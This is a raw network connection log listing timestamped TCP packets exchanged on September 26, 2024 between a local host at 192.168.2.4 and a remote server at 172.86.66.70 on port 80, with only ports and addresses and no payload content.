Sep 26, 2024 12:11:58.381572962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381587982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381603956 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381618977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381633043 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381640911 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381658077 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381659031 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381679058 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381686926 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381695986 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381721973 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381752014 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381776094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381799936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381799936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381814957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.381848097 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.381987095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382009983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382025003 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382040977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382042885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382056952 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382066965 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382072926 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382090092 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382105112 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382112026 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382121086 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382131100 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382139921 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382175922 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382364035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382380009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382395029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382411957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382425070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382427931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382443905 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382443905 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382460117 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382476091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382477045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382493019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382509947 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.382515907 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.382534027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.426254034 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.464972019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.464989901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465008974 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465061903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465085983 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465101957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465111971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465118885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465202093 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465307951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465332985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465349913 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465361118 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465365887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465385914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465398073 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465400934 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465435982 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465437889 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465452909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465470076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465485096 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465487957 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465502977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465518951 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465534925 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465558052 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465665102 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465681076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465696096 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465717077 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465755939 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465797901 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465812922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465827942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465842962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465856075 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465887070 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.465965033 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.465989113 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466005087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466020107 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466034889 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466046095 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466052055 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466065884 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466069937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466101885 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466173887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466223001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466229916 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466346025 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466361046 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466376066 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466392040 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466397047 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466407061 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466419935 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466432095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466448069 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466451883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466495991 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466532946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466579914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466598988 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466630936 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466640949 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466655970 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466671944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466687918 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466692924 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466720104 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466756105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466787100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466801882 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466866016 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466881037 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466896057 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466912031 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.466921091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466950893 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.466995001 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.467010975 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.467025042 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.467046022 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.467077971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468195915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468221903 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468242884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468307972 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468343973 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468358994 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468374968 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468389034 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468404055 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468420029 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468430996 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468451023 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468478918 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468530893 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468545914 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468560934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468581915 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468614101 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468647957 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468662977 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468677998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468712091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468755960 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468770981 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468785048 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468806028 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468837976 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468873978 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468888998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468904018 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468919039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.468941927 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.468977928 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.469948053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.469963074 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.469978094 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470026016 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470035076 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470051050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470067024 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470082045 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470098019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470098019 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470123053 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470123053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470140934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470145941 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470180035 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470189095 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470196009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470212936 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470246077 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470262051 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470278025 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470320940 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470344067 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470359087 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470382929 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470392942 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470400095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470432997 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470432997 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470455885 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470472097 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470482111 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470488071 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470504999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470524073 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470565081 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470580101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470594883 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470611095 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470626116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470639944 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470642090 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470668077 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470721006 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470736027 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470758915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470768929 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470776081 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470793009 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470810890 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470839977 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470869064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470884085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470899105 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470911026 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.470931053 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.470962048 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.486784935 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554096937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554111958 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554126978 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554193020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554203987 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554222107 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554240942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554255962 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554275990 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554302931 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554311037 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554327965 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554342985 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554367065 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554403067 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554420948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554436922 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554454088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554486036 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554543018 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554559946 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554574013 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.554605961 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.554636002 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555025101 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555075884 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555093050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555120945 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555154085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555169106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555182934 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555208921 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555223942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555229902 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555263996 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555278063 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555308104 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555322886 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555327892 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555365086 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555422068 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555437088 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555452108 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555469990 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555500984 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555501938 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555546999 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555562019 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555576086 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555603027 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555648088 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555654049 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555671930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555687904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555720091 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555767059 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555787086 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555789948 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.555815935 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.555847883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.558960915 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.559267998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.559282064 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.559329033 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.559833050 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.559885025 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560280085 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560436964 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560467005 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560482979 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560501099 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560529947 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560560942 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560583115 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560597897 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560611963 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560621977 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560627937 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560642004 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560652971 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560657978 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560672998 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560679913 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560688972 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560703039 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560717106 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560724020 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560750961 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560766935 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560772896 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560782909 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560797930 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560798883 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560813904 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560830116 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560844898 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560846090 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560859919 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560874939 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560883045 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560889959 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560895920 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560906887 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560915947 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.560923100 CEST	80	49732	172.86.66.70	192.168.2.4
Sep 26, 2024 12:11:58.560971975 CEST	49732	80	192.168.2.4	172.86.66.70
Sep 26, 2024 12:11:58.561866045 CEST	80	49732	172.86.66.70	192.168.2.4
